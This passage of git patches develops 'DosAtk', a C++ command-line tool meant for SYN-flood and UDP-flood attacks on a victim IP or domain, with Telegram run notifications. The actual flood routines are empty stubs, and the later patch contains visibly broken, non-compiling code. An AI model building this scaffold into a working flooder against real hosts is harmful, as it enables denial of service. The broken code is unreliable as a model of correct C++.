zbf9FcS?$NqosF5^KER3a&%Y@bJCe+^!jh$%E2=TuOR)eW7ZNEDjd2knj7<)jFlba% zVl;+%kPT?sD#F$1CzngURs%2WFs75ff}%JJ!nA>lA6mMZuk4V znbYu6yetXxez3@8JEYtiUfhCr@EAc=ZYWEzGQ`zEhDK6Ftqqa%WYdfr>h}A9mBtJp za)M?G9NsvBgRQalbCsnrEHE#|LRqsAVH);&u5$v5Z(R~9jIcC*opX~PdF%OY|c=EvS%*_C0RS+lSx-i%@3;$sS#1zWKXdSK#* zEC!-w>wI|jrXO5ck7-H~S60NEC@io(XNmQJr$G9Owl+P2H%5hNTNz)iuPjuLl+>-` zL3*XA((IK0<)Nr{26n6IdB-76l}!EqUz#UH{4@bM077_6To2GXj$@pL^w@T|*^3Nq z$UTgs4K;IdBWuB6MCM}6S`LVpnX;EUcG9RX3B+2PaW+s_oPdxRx}O#WWS*bTakBZe)i+%y zPK9t%^ts%o>|+nNLuKSR&?ux#neCd6^Po(b=c1XqzM`d-PLN$#`CG!#X579p&PLG< zM-XS-?np!){v2*Pp=6V4Jf%2o9wQ=Z;F!BP;SjMnZOfu~sU=W(q)rjX zcA5Mv4m`YcgFzV>#rj1>uA9vG^MOpcj~O*H zD>i~lT9T@?A+wk=wbJisEL!-V8IcXx!wWyLm=d5hd!aWi836qVGn6vQP;g8YV&|pm zz&)bAF%HMXOwZUcILjC`zc6}6Jx)3NeWmr51kadg$BL}ZxY>g2j-3%>cXHs}A#&^I z&7fJriw-MGpCJbyUFt2Yi(Q3S7w|Gk9WRrl;ox!w@RrI*K&Q7B9^qC66Bb=@==YXN z`I`!9I5L+-1999jT$P^txJr!u9edNHvBf*&nPu#rX^*2Ot#+FW+q9X_l;X6hV&u(- z8*XPr1F=AKWxze?S%J-AmD?Sp154%32f|bOK>&K91b1YRL#+(p&5pQRQ%U`b+agO_ z;+gN+&`lY6(`JUeX#>TU^RHSuIgv-7hQIH_WhuZA_0SN0f(?^c03j7HPFNu7ey} znwf!3@`%Yd_^oM|ORv_^QP|HM?Dn*o-Qnnr-qCCA9iY+Q$m(0t&xK4u8uwNyL}w+T zusl$ZzEh=Chvx>?HIF9K!IoPkqe)+I#Ug#U9hl~PW8aqEeV=;^a!8HB*il-9;~XsV z8PCH8eLf>Sy3kVunV%uh8)9L-2~TX{fdU+V#JHTY@uOH(Gau(IUfrFpR9PFFgLImI zVE&xGdJLK&(?cbhZjZ_P_~y-hoVe2#RgZ-66bx=&B3ARIpaM(5JRN85{7I}#-p+K~ zpm^I%zYk^nWKw3cNo>fld9~dnW-?s$oibJp+vk0`AR1^a&@VpdGfHVG@}V?Sty)ey z9@ES?r#!pCo&mGHGb2)Ln+S)NA8v+IOgBT)*Dd~(&wprVQ$lwa+2+O@_bp;~5f6Og zN-pM><)2pnQvRBIGsC2_lZKX9`XYGXRGNwB6xpz+V;4-ev`K(GBrQ)Hyvx}1D500e zn^q_RH%;^Bp4M(xDKi@{u=fY_KqTyMGPZ_%!MDjiaU8?g?pOZvw@?lYI^qtc5(xi|&x`BYY#kif>fTMi;OatBbq=9&loU?>> zM(F_>QEQfCpU@Tsu7t235ADGk*K`DO_4jImH8p-suFDy2 zzX<;xsoBLy*W9RDed@(8Zd3X3kWhLvXq!h*#8RlC=aP-US6rgCut#dr$COO_%qME_ zq?k1UoIy($er6+xUmb|8ZjSrv0pn2)o8%{Y&^{W`3R=SPKmks_3-H?=I8u(UR#5e= z!BE50V1q#68S1I@B?!je<7aD#qqYXv&jA%hL%x-5D1e(P6AetJWO_orN->(PS`~mEX&_-m; zOe_D21lJ)yqjFz!5bC)?JfNi&&{JP{2wQ&T~8G zAK~3*(ti2=HwnepeT?_NS?%{hegyucynH{Lgu|$DxCoH%q&&VJ%`OahjhZaw<@@F& zl<$}0++2tJOz=wl(YxEEynJ7qgf|Q3Ap%N139kX3-UTPi@_ld;?h|rkKlx7DFVI@2 zz)N}gemV)|`{`u;QeL+I79l@ZD3tHJlTf}NkK|9ppH==&;K;91zw!N9G4N=7tCzL^ zZv#=4cM3TP_lof-b>xc=65eBxXFq;HJSCjb$${~|l#_5PC~5UeIRSScr2dC2^76eo z624SuRLwrfdL{Nzi@bcFjfA5lqkvZb{YJ>k{+Hj&lh9*y3|AogPpbW$MP9ylNkaNf z9`&-;|EfiP`D)HB;ntC=v^jnx_HB!N{&k!pA?a5yYyBUCcr5;;nezRUT^(G?>TlV8 z3F$|F^Avgce#&kkFZsAO(|(E1gFLxd)-T^@wMED~MaPIRWXvCF*H0iz<4?-V_fzho ziH)nw=vZEs^-4Gn!m7O1&H1!04r_?0Tu$XPeLM|x(k1I(dnae8`4)#gmio&%+W7wr z$Ws-C28Mr-^5 Date: Wed, 26 Mar 2025 13:58:24 +0300 Subject: [PATCH 2/9] =?UTF-8?q?=D0=9A=D0=BE=D0=BC=D0=BC=D0=B5=D0=BD=D1=82?= =?UTF-8?q?=D0=B0=D1=80=D0=B8=D0=B8,=20status=20=D0=B2=D1=8B=D0=BD=D0=B5?= =?UTF-8?q?=D1=81=D0=B5=D0=BD=20=D0=B2=20=D0=B3=D0=BB=D0=BE=D0=B1=D0=B0?= =?UTF-8?q?=D0=BB=D0=B1=D0=BD=D1=83=D1=8E=20=D0=BF=D0=B5=D1=80=D0=B5=D0=BC?= =?UTF-8?q?=D0=B5=D0=BD=D0=BD=D1=83=D1=8E=20(#6)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: AleksanovED Co-authored-by: dr-wh0 <79003667309@yandex.ru> Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/6 Reviewed-by: serafim Co-authored-by: EgorALX Co-committed-by: EgorALX --- src/DosAtk.cpp | 428 ++++++++++++++++++++++++++++--------------------- 1 file changed, 246 insertions(+), 182 deletions(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index e4ea23f..41825a6 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -1,15 +1,14 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include +#include // Для работы с вводом-выводом (cout, cin и др.) +#include // Стандартная библиотека C (функции работы с памятью, преобразования типов и др.) +#include // Для работы со строками string +#include // Для работы с временем и таймерами +#include // Функции работы со временем C (time_t, localtime и др.) +#include // Для форматированного вывода (setw, setprecision и др.) +#include // Для разбора аргументов командной строки +#include // Функции для работы с символами (isdigit, isalpha и др.) +#include // Библиотека libcurl для HTTP-запросов (отправка в Telegram) +// Глобальные переменные std::string attack_type; // Тип атаки: scan или syn std::string domain; // Доменное Имя std::string ip; // Ip жертвы @@ -23,23 +22,25 @@ std::chrono::system_clock::time_point start_timestamp; // Начальное в std::string log_msg; // Сообщение, которое будет записано в лог-файл std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю std::string msg; // Сообщение, которое будет отправлено в телеграм +int status; // Статус работы программы // ====== end of DCL ====== // -// Данная процедура записывает в глобальные переменные параметры -// (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы -// На вход получает int argc, char **argv, возвращает код выполнения -// Коды возврата: -// 2 - Атака флуд, все нужные опции есть -// 1 - Атака порт скан, все нужные опции есть -// 0 - нужна помощь -// -1 - пользователь не ввел тип атаки или ввел неверный тип атаки -// -10 - Пользователь выбрал тип атаки порт сканнинг, но не ввел нужные параметры -// -20 - Пользователь выбрал тип атаки флуд, но не ввел нужные параметры -// -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи -// -600 - пользователь ввел токен, но не id или наоборот int my_check_params(int argc, char **argv) { + // Данная процедура записывает в глобальные переменные параметры + // (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы + // На вход получает int argc, char **argv, возвращает код выполнения + // Коды возврата: + // 2 - Атака флуд, все нужные опции есть + // 1 - Атака порт скан, все нужные опции есть + // 0 - нужна помощь + // -1 - пользователь не ввел тип атаки или ввел неверный тип атаки + // -10 - Пользователь выбрал тип атаки порт сканнинг, но не ввел нужные параметры + // -20 - Пользователь выбрал тип атаки флуд, но не ввел нужные параметры + // -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи + // -600 - пользователь ввел токен, но не id или наоборот + int status; int opt; const char* short_options; @@ -63,74 +64,87 @@ int my_check_params(int argc, char **argv) debug_msg += argv[i]; debug_msg += " "; } - printf("begin my_check_params (argc: %i, argv: %s)\n", argc, debug_msg.c_str()); + printf("begin my_check_params (argc: %i, argv: %s)\n", argc, debug_msg.c_str()); // debug + // Обрабатываем аргументы командной строки с помощью getopt_long + // Цикл продолжается, пока getopt_long возвращает валидные опции (-1 означает конец опций) while ((opt = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) { switch (opt) { - case 'a': - attack_type = optarg; + case 'a': // Обработка опции -a (--attack) + attack_type = optarg; // Сохраняем тип атаки (scan/flood) break; - case 'd': - domain = optarg; + case 'd': // Обработка опции -d (--domain) + domain = optarg; // Сохраняем доменное имя цели break; - case 'i': - ip = optarg; + case 'i': // Обработка опции -i (--ip) + ip = optarg; // Сохраняем IP-адрес цели break; - case 'p': - port = optarg; + case 'p': // Обработка опции -p (--port) + port = optarg; // Сохраняем номер порта break; - case 'l': - log_file = optarg; + case 'l': // Обработка опции -l (--log) + log_file = optarg; // Сохраняем путь к лог-файлу break; - case 't': - telegram_id = optarg; + case 't': // Обработка опции -t (--telegram) + telegram_id = optarg; // Сохраняем Telegram ID break; - case 'b': - telegram_token = optarg; + case 'b': // Обработка опции -b (--token) + telegram_token = optarg; // Сохраняем токен бота Telegram break; - case 'h': - status = 0; + case 'h': // Обработка опции -h (--help) + status = 0; // Устанавливаем статус "показать справку" break; - case '?': - status = -101; + case '?': // Обработка неизвестной опции + status = -101; // Устанавливаем статус "неизвестная опция" break; } } + // Проверяем корректность введенных параметров if (status != 0 && status != -101) { - if (attack_type != "flood" && attack_type != "scan") { - status = -1; - } - else if (attack_type == "scan" && domain.empty() && ip.empty()) { - status = -10; - } - else if (attack_type == "flood" && domain.empty() && ip.empty()) { - status = -20; - } - else if ((!telegram_id.empty() && telegram_token.empty()) || (telegram_id.empty() && !telegram_token.empty())) { - status = -600; - } - else if (attack_type == "scan") { - status = 1; - } - else if (attack_type == "flood") { - status = 2; - } + // Проверяем валидность типа атаки + if (attack_type != "flood" && attack_type != "scan") { + status = -1; // Некорректный тип атаки + } + // Для сканирования портов должна быть указана цель (домен или IP) + else if (attack_type == "scan" && domain.empty() && ip.empty()) { + status = -10; // Не указана цель для сканирования + } + // Для флуд-атаки должна быть указана цель (домен или IP) + else if (attack_type == "flood" && domain.empty() && ip.empty()) { + status = -20; // Не указана цель для флуда + } + // Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба + else if ((!telegram_id.empty() && telegram_token.empty()) || + (telegram_id.empty() && !telegram_token.empty())) { + status = -600; // Неполные данные для Telegram + } + // Если все проверки пройдены и тип атаки - сканирование + else if (attack_type == "scan") { + status = 1; // Валидные параметры для сканирования + } + // Если все проверки пройдены и тип атаки - флуд + else if (attack_type == "flood") { + status = 2; // Валидные параметры для флуда + } } - printf("end my_check_params status: %i\n", status); + printf("end my_check_params status: %i\n", status); // debug return status; } -// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, -// формирует сообщение с описанием произошедшей ошибки -void my_diag(int status) +void my_diag() { - printf("begin my_diag (status: %i)\n", status); + // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, + // формирует сообщение с описанием произошедшей ошибки + + // Отладочный вывод - начало работы функции (можно отключить в релизной версии) + printf("begin my_diag, status: %i\n", status); // debug + // Выбор сообщения в зависимости от кода ошибки switch (status) { - case 0: + case 0: // Специальный случай - вывод справки по использованию printf("Usage: ./DosAtk [options]\n" "Required:\n" " -a, --attack TYPE Type of attack (scan|flood)\n" @@ -142,256 +156,302 @@ void my_diag(int status) " -t, --telegram ID Telegram ID\n" " -b, --token TOKEN Telegram bot token\n"); break; - case -1: + case -1: // Некорректный тип атаки printf("Error: Invalid attack type!\n--help for more info\n"); break; - case -10: + case -10: // Отсутствуют обязательные параметры для сканирования портов printf("Error: Missing required parameters for port scanning!\n--help for more info\n"); break; - case -20: + case -20: // Отсутствуют обязательные параметры для SYN flood атаки printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n"); break; - case -101: + case -101: // Встречена неизвестная опция командной строки printf("Error: Unknown option!\n.--help for info\n"); break; - case -600: + case -600: // Неполные данные для Telegram-уведомлений printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n"); break; } - printf("end my_diag\n"); + + // Отладочный вывод - завершение работы функции + printf("end my_diag\n"); // debug } -// Функция для экранирования спецсимволов в JSON +// Функция для экранирования специальных символов в строке перед использованием в JSON +// Принимает: const std::string& s - исходная строка для обработки +// Возвращает: std::string - строка с экранированными спецсимволами std::string escape_json(const std::string& s) { - std::string result; + std::string result; // Результирующая строка с экранированными символами + // Проходим по каждому символу входной строки for (char c : s) { + // Обрабатываем специальные символы JSON switch (c) { - case '"': result += "\\\""; break; - case '\\': result += "\\\\"; break; - case '\b': result += "\\b"; break; - case '\f': result += "\\f"; break; - case '\n': result += "\\n"; break; - case '\r': result += "\\r"; break; - case '\t': result += "\\t"; break; - default: result += c; break; + case '"': result += "\\\""; break; // Экранирование двойных кавычек + case '\\': result += "\\\\"; break; // Экранирование обратного слеша + case '\b': result += "\\b"; break; // Экранирование backspace + case '\f': result += "\\f"; break; // Экранирование formfeed + case '\n': result += "\\n"; break; // Экранирование новой строки + case '\r': result += "\\r"; break; // Экранирование возврата каретки + case '\t': result += "\\t"; break; // Экранирование табуляции + default: result += c; break; // Все остальные символы добавляем как есть } } - return result; + return result; // Возвращаем обработанную строку } -// Проверка, является ли строка числом (включая отрицательные) bool is_numeric(const std::string& s) { - size_t start; - if (s.empty()) return false; + // Проверка, является ли строка числом (включая отрицательные) + + size_t start; // Индекс, с которого начинать проверку цифр + if (s.empty()) return false; // Пустая строка не может быть числом + // Проверяем наличие знака минус в начале start = 0; if (s[0] == '-') { + // Строка из одного минуса не является числом if (s.size() == 1) return false; + // Если минус есть, начинаем проверку с следующего символа start = 1; } - + // Проверяем все оставшиеся символы на цифры for (size_t i = start; i < s.size(); ++i) { + // Найден нецифровой символ - строка не число if (!isdigit(s[i])) return false; } + // Все проверки пройдены - строка является числом return true; } int my_msg() { - CURL* curl; - std::string escaped_msg; - std::cout << msg << std::endl; - std::string chat_id_field; - std::string json_data; - struct curl_slist* headers; - headers = nullptr; - long http_code; - CURLcode res; + // Инициализация локальных переменных для работы с CURL + CURL* curl; // Указатель на CURL-объект + std::string escaped_msg; // Экранированное сообщение для JSON + std::cout << msg << std::endl; // Вывод сообщения в консоль (для отладки) + std::string chat_id_field; // Поле chat_id для JSON + std::string json_data; // Итоговый JSON для отправки + struct curl_slist* headers; // Заголовки HTTP-запроса + headers = nullptr; // Инициализация заголовков + long http_code; // HTTP-код ответа + CURLcode res; // Код результата CURL-операции + + // Проверка наличия обязательных параметров Telegram if (telegram_token.empty() || telegram_id.empty()) { - return 0; // Интеграция не настроена + return 0; // Интеграция с Telegram не настроена (отсутствует токен или ID) } + // Инициализация CURL curl = curl_easy_init(); if (!curl) return 6; // Ошибка инициализации CURL - // Экранируем сообщение + // Экранирование спецсимволов в сообщении для JSON escaped_msg = escape_json(msg); - // Формируем поле chat_id + // Формирование поля chat_id в зависимости от типа ID (число или строка) if (is_numeric(telegram_id)) { - chat_id_field = "\"chat_id\": " + telegram_id; + chat_id_field = "\"chat_id\": " + telegram_id; // Числовой ID } else { - chat_id_field = "\"chat_id\": \"" + telegram_id + "\""; + chat_id_field = "\"chat_id\": \"" + telegram_id + "\""; // Строковый ID } - // Формируем JSON + // Сборка JSON-запроса json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; - // Настраиваем заголовоки + // Установка заголовка Content-Type headers = curl_slist_append(headers, "Content-Type: application/json"); - // Настраиваем параметры CURL - curl_easy_setopt(curl, CURLOPT_URL, ("https://api.telegram.org/bot" + telegram_token + "/sendMessage").c_str()); - curl_easy_setopt(curl, CURLOPT_POST, 1L); - curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_data.c_str()); - curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); - curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl/7.68.0"); + // Настройка параметров CURL-запроса + curl_easy_setopt(curl, CURLOPT_URL, ("https://api.telegram.org/bot" + telegram_token + "/sendMessage").c_str()); // URL API Telegram + curl_easy_setopt(curl, CURLOPT_POST, 1L); // Использовать POST-метод + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_data.c_str()); // Тело запроса (JSON) + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Заголовки запроса + curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl/7.68.0"); // User-Agent - // Игнорируем вывод ответа + // Игнорирование вывода ответа (пустая функция обратного вызова) curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, [](void*, size_t size, size_t nmemb, void*) -> size_t { return size * nmemb; }); - // Выполняем запрос + // Выполнение HTTP-запроса res = curl_easy_perform(curl); + // Получение HTTP-кода ответа http_code = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); - // Освобождаем ресурсы - curl_slist_free_all(headers); - curl_easy_cleanup(curl); + // Освобождение ресурсов + curl_slist_free_all(headers); // Очистка заголовков + curl_easy_cleanup(curl); // Завершение работы CURL - if (res != CURLE_OK) return 5; + // Обработка ошибок CURL + if (res != CURLE_OK) return 5; // Ошибка выполнения запроса + // Обработка HTTP-кодов ответа switch (http_code) { - case 200: return 0; - case 401: return 1; - case 400: return 2; - case 404: return 3; + case 200: return 0; // Успешный запрос + case 401: return 1; // Ошибка авторизации (неверный токен) + case 400: return 2; // Неверный запрос + case 404: return 3; // Ресурс не найден default: - if (http_code >= 500) return 4; - return 4; + if (http_code >= 500) return 4; // Ошибка сервера + return 4; // Прочие ошибки } } -// Данная функция записывает в файл лога сообщение + int my_log() { + // Данная функция записывает в файл лога сообщение return 0; } -// Данная функция завершает программу и рассчитывает итоговое время выполнения программы void my_fin() { + // Данная функция завершает программу и рассчитывает итоговое время выполнения программы + + // Фиксируем время окончания работы программы auto end_timestamp = std::chrono::system_clock::now(); + // Преобразуем время окончания в time_t и миллисекунды auto end_time_t = std::chrono::system_clock::to_time_t(end_timestamp); auto end_ms = std::chrono::duration_cast(end_timestamp.time_since_epoch()) % 1000; + // Вычисляем продолжительность работы программы auto duration = end_timestamp - start_timestamp; + // Разбиваем продолжительность на компоненты auto hours = std::chrono::duration_cast(duration); auto minutes = std::chrono::duration_cast(duration % std::chrono::hours(1)); auto seconds = std::chrono::duration_cast(duration % std::chrono::minutes(1)); auto milliseconds = std::chrono::duration_cast(duration % std::chrono::seconds(1)); + // Выводим информацию о времени работы std::cout << "Worked for "; + // Для коротких периодов (<2 минут) выводим в секундах с дробной частью if (duration < std::chrono::minutes(2)) { double total_seconds = std::chrono::duration(duration).count(); std::cout << std::fixed << std::setprecision(3) << total_seconds << " seconds"; } else { + // Для длительных периодов выводим в формате ЧЧ:ММ:СС.мс if (hours.count() > 0) std::cout << hours.count() << "h "; if (minutes.count() > 0) std::cout << minutes.count() << "m "; std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; } std::cout << std::endl; + // Выводим статистику по запросам std::cout << "Sent " << (n_ok_requests + n_fail_requests) << " requests (" << n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl; + // Выводим точное время завершения работы std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S") << "." << std::setfill('0') << std::setw(3) << end_ms.count() << std::endl; + // Завершаем программу с кодом 0 (успешное завершение) std::exit(0); } -// Данная процедура сопостовляет доменное имя с IP int my_dns() { + // Данная процедура сопостовляет доменное имя с IP return 0; } -// Данная процедура выполняет TCP SYN Flood атаку int my_tcp_syn() { + // Данная процедура выполняет TCP SYN Flood атаку return 2; } -// Данная процедура выполняет UDP Flood (port scanning) атаку int my_udp() { + // Данная процедура выполняет UDP Flood (port scanning) атаку return 2; } -// Тело программы int main(int argc, char **argv) { - int check_params_status; - int log_status; - int dns_status; - int udp_status; - int tcp_syn_status; + // Главная функция программы - точка входа + + // Объявление переменных для хранения статусов операций + int log_status; // Статус записи в лог + int dns_status; // Статус DNS-разрешения + int udp_status; // Статус UDP-атаки + int tcp_syn_status; // Статус TCP SYN-атаки - // ====== Тело программы ====== // - n_ok_requests = 0; - n_fail_requests = 0; - start_timestamp = std::chrono::system_clock::now(); + // ====== Инициализация программы ====== // + n_ok_requests = 0; // Счетчик успешных запросов + n_fail_requests = 0; // Счетчик неудачных запросов + start_timestamp = std::chrono::system_clock::now(); // Засекаем время начала + status = 0; // Статус программы - time_t now_time_t; - now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); - - std::chrono::milliseconds ms; - ms = std::chrono::duration_cast(start_timestamp.time_since_epoch()) % 1000; + // Получаем текущее время в различных форматах + time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); + auto ms = std::chrono::duration_cast( + start_timestamp.time_since_epoch()) % 1000; + // Выводим информацию о времени запуска программы printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", - std::localtime(&now_time_t)->tm_year + 1900, - std::localtime(&now_time_t)->tm_mon + 1, - std::localtime(&now_time_t)->tm_mday, - std::localtime(&now_time_t)->tm_hour, - std::localtime(&now_time_t)->tm_min, - std::localtime(&now_time_t)->tm_sec, - ms.count()); + std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900) + std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11) + std::localtime(&now_time_t)->tm_mday, // День месяца + std::localtime(&now_time_t)->tm_hour, // Часы + std::localtime(&now_time_t)->tm_min, // Минуты + std::localtime(&now_time_t)->tm_sec, // Секунды + ms.count()); // Миллисекунды - check_params_status = my_check_params(argc, argv); - switch (check_params_status) + // ====== Основная логика программы ====== // + // 1. Проверяем параметры командной строки + status = my_check_params(argc, argv); + + // Обрабатываем результат проверки параметров + switch (status) { - case 1: + case 1: // Режим сканирования портов (UDP) + // Пытаемся разрешить DNS (если указано доменное имя) dns_status = my_dns(); - if (dns_status == 0) + + if (dns_status == 0) // Если DNS разрешен успешно { + // Запускаем цикл UDP-атаки while (udp_status = my_udp()) { - if (udp_status == 2) + if (udp_status == 2) // Код завершения атаки { break; } - else if (udp_status < 0) + else if (udp_status < 0) // Обработка ошибок { - my_diag(udp_status); - log_status = my_log(); - if (log_status == 1) + status = udp_status; + my_diag(); // Выводим диагностику + log_status = my_log(); // Пытаемся записать в лог + if (log_status == 1) // Если требуется уведомление { - my_msg(); + my_msg(); // Отправляем сообщение } } } - log_status = my_log(); - my_msg(); - my_fin(); + // Завершающие действия после атаки + log_status = my_log(); // Логируем завершение + my_msg(); // Отправляем финальное сообщение + my_fin(); // Корректно завершаем программу } - else if (dns_status == 1) + else if (dns_status == 1) // Ошибка DNS-разрешения { - my_diag(check_params_status); - log_status = my_log(); - if (log_status == 0){ - my_fin(); + my_diag(); // Выводим ошибку + log_status = my_log(); // Логируем ошибку + + if (log_status == 0) { // Если не требуется уведомление + my_fin(); // Просто завершаем программу } - else if (log_status == 1) + else if (log_status == 1) // Если требуется уведомление { - my_msg(); - my_fin(); + my_msg(); // Отправляем сообщение + my_fin(); // Завершаем программу } } break; - case 2: + + case 2: // Режим SYN-флуда (TCP) + // Аналогичная логика как для UDP-режима dns_status = my_dns(); + if (dns_status == 0) { while (tcp_syn_status = my_tcp_syn()) @@ -402,7 +462,8 @@ int main(int argc, char **argv) } else if (tcp_syn_status < 0) { - my_diag(tcp_syn_status); + status = tcp_syn_status; + my_diag(); log_status = my_log(); if (log_status == 1) { @@ -416,7 +477,7 @@ int main(int argc, char **argv) } else if (dns_status == 1) { - my_diag(check_params_status); + my_diag(); log_status = my_log(); if (log_status == 0) { @@ -429,19 +490,22 @@ int main(int argc, char **argv) } } break; - default: - my_diag(check_params_status); - log_status = my_log(); - if (log_status == 0) + + default: // Некорректные параметры или запрос справки + my_diag(); // Выводим диагностику + log_status = my_log(); // Логируем событие + + if (log_status == 0) // Без уведомления { - my_fin(); + my_fin(); // Завершаем программу } - else if (log_status == 1) + else if (log_status == 1) // С уведомлением { - my_msg(); - my_fin(); + my_msg(); // Отправляем сообщение + my_fin(); // Завершаем программу } break; } - return 0; -} + + return 0; // Возвращаем код успешного завершения +} \ No newline at end of file From 43092ad1f4f706823b3aa40b836eea3905dac5a6 Mon Sep 17 00:00:00 2001 From: Serafim Date: Thu, 3 Apr 2025 00:23:50 +0300 Subject: [PATCH 3/9] style/improve-code-style (#7) Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/7 Reviewed-by: dr-wh0 <79003667309@yandex.ru> Co-authored-by: Serafim Co-committed-by: Serafim --- src/DosAtk.cpp | 487 +++++++++++++++++++++++++++---------------------- src/a.out | Bin 57600 -> 0 bytes 2 files changed, 272 insertions(+), 215 deletions(-) delete mode 100755 src/a.out diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 41825a6..1e9e7cf 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -1,3 +1,5 @@ +// ====== DCL библиотеки ====== // + #include // Для работы с вводом-выводом (cout, cin и др.) #include // Стандартная библиотека C (функции работы с памятью, преобразования типов и др.) #include // Для работы со строками string @@ -8,25 +10,32 @@ #include // Функции для работы с символами (isdigit, isalpha и др.) #include // Библиотека libcurl для HTTP-запросов (отправка в Telegram) -// Глобальные переменные -std::string attack_type; // Тип атаки: scan или syn -std::string domain; // Доменное Имя -std::string ip; // Ip жертвы -std::string port; // Порт -std::string log_file; // Путь к директории для логов -std::string telegram_id; // Telegram ID для уведомлений -std::string telegram_token; // Токен бота -int n_ok_requests; // Количество успешных запросов -int n_fail_requests; // Количество не успешных запросов -std::chrono::system_clock::time_point start_timestamp; // Начальное время работы -std::string log_msg; // Сообщение, которое будет записано в лог-файл -std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю -std::string msg; // Сообщение, которое будет отправлено в телеграм -int status; // Статус работы программы +// ====== DCL глобальные переменные ====== // -// ====== end of DCL ====== // +// Параметры +int argc // Количество аргументов при вызове программы +char **argv // Массив строк с агрументами +std::string attack_type; // Тип атаки: scan или syn +std::string domain; // Доменное Имя +std::string ip; // Ip жертвы +std::string port; // Порт для syn атаки +std::string log_file; // Путь к директории для логов +std::string telegram_id; // Telegram ID для уведомлений +std::string telegram_token; // Токен бота для уведомлений -int my_check_params(int argc, char **argv) +// Статистика +int n_ok_requests; // Количество успешных запросов +int n_fail_requests; // Количество не успешных запросов +std::chrono::system_clock::time_point start_timestamp; // Начальное время работы +// Переменные +std::string log_msg; // Сообщение, которое будет записано в лог-файл +std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю +std::string msg; // Сообщение, которое будет отправлено в телеграм +int status; // Статус работы программы + +// ====== DCL процедуры ====== // + +void my_check_params() { // Данная процедура записывает в глобальные переменные параметры // (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы @@ -41,11 +50,18 @@ int my_check_params(int argc, char **argv) // -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи // -600 - пользователь ввел токен, но не id или наоборот - int status; - int opt; - const char* short_options; - short_options = "a:d:i:p:l:t:b:h"; - const struct option long_options[] = + //Объявление + std::chrono::milliseconds ms; // Количество миллисекунд от целой секунды времени начала выполнения программы + int opt; // Прочитанный параметр + const char* short_options; // Сокращения для параметров + struct option long_options[]; // Структура, описывающая пеобходимые программе параметры + int i; // Счётчик для цикла + + // Инициализация + ms = std::chrono::duration_cast(start_timestamp.time_since_epoch()) % 1000; + opt = -1; + short_options = "a:d:i:p:l:t:b:h"; + long_options = { {"attack", required_argument, NULL, 'a'}, {"domain", required_argument, NULL, 'd'}, @@ -57,14 +73,19 @@ int my_check_params(int argc, char **argv) {"help", no_argument, NULL, 'h'}, {NULL, 0, NULL, 0} }; + i = 0; - std::string debug_msg; - debug_msg = ""; - for (int i = 0; i < argc; i++) { - debug_msg += argv[i]; - debug_msg += " "; - } - printf("begin my_check_params (argc: %i, argv: %s)\n", argc, debug_msg.c_str()); // debug + printf("begin my_check_params"); // debug + + // Выводим информацию о времени запуска программы + printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", // Шаблон для вывода + std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900) + std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11) + std::localtime(&now_time_t)->tm_mday, // День месяца + std::localtime(&now_time_t)->tm_hour, // Часы + std::localtime(&now_time_t)->tm_min, // Минуты + std::localtime(&now_time_t)->tm_sec, // Секунды + ms.count()); // Миллисекунды // Обрабатываем аргументы командной строки с помощью getopt_long // Цикл продолжается, пока getopt_long возвращает валидные опции (-1 означает конец опций) @@ -104,34 +125,33 @@ int my_check_params(int argc, char **argv) if (status != 0 && status != -101) { // Проверяем валидность типа атаки - if (attack_type != "flood" && attack_type != "scan") { - status = -1; // Некорректный тип атаки - } - // Для сканирования портов должна быть указана цель (домен или IP) - else if (attack_type == "scan" && domain.empty() && ip.empty()) { - status = -10; // Не указана цель для сканирования - } - // Для флуд-атаки должна быть указана цель (домен или IP) - else if (attack_type == "flood" && domain.empty() && ip.empty()) { - status = -20; // Не указана цель для флуда - } - // Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба - else if ((!telegram_id.empty() && telegram_token.empty()) || - (telegram_id.empty() && !telegram_token.empty())) { - status = -600; // 